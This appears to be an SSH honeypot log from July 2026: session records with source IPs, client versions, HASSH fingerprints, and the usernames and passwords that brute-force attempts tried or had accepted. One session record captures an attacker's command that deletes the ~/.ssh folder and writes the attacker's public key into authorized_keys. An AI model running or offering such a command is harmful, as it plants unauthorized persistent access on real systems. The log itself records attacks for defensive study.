HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "c84727852c20",
  "src_ip": "192.248.150.180",
  "start_time": "2026-07-28T14:58:06.673029Z",
  "end_time": "2026-07-28T14:58:07.012925Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-07-28 14:54:00.024000 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 487a59cd4670

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "487a59cd4670",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T14:54:00.024000Z",
  "end_time": "2026-07-28T14:54:01.185178Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-28 14:49:56.001681 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / Aa112211

Record ID: e6a694795dce

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "e6a694795dce",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-28T14:49:56.001681Z",
  "end_time": "2026-07-28T14:50:02.007657Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa112211"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:49.648725 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 4b0bb91754bb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4b0bb91754bb",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:49.648725Z",
  "end_time": "2026-07-28T14:49:50.233662Z",
  "duration": "0.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:47.953430 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 07e865b99438

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "07e865b99438",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:47.953430Z",
  "end_time": "2026-07-28T14:49:49.569104Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:46.522851 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / QQqq123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: de4cb4280b0d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "de4cb4280b0d",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:46.522851Z",
  "end_time": "2026-07-28T14:49:50.238194Z",
  "duration": "3.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QQqq123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

70.81.127.119

2026-07-28 14:47:20.809147 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: haiwen

Record ID: ae56b9e35704

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ae56b9e35704",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:47:20.809147Z",
  "end_time": "2026-07-28T14:47:22.398012Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "haiwen",
      "pass": "haiwen"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 14:46:19.852631 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ks

Record ID: 47684ca45a46

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "47684ca45a46",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T14:46:19.852631Z",
  "end_time": "2026-07-28T14:46:21.999412Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ks",
      "pass": "ks"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:44:59.193387 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mq

Record ID: 037a6ab1723a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "037a6ab1723a",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:44:59.193387Z",
  "end_time": "2026-07-28T14:45:00.767812Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mq",
      "pass": "mq"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:42:34.455914 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 67d2e61c730c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "67d2e61c730c",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:42:34.455914Z",
  "end_time": "2026-07-28T14:42:35.194031Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:42:32.596867 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b46c6687dcf2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b46c6687dcf2",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:42:32.596867Z",
  "end_time": "2026-07-28T14:42:34.369588Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}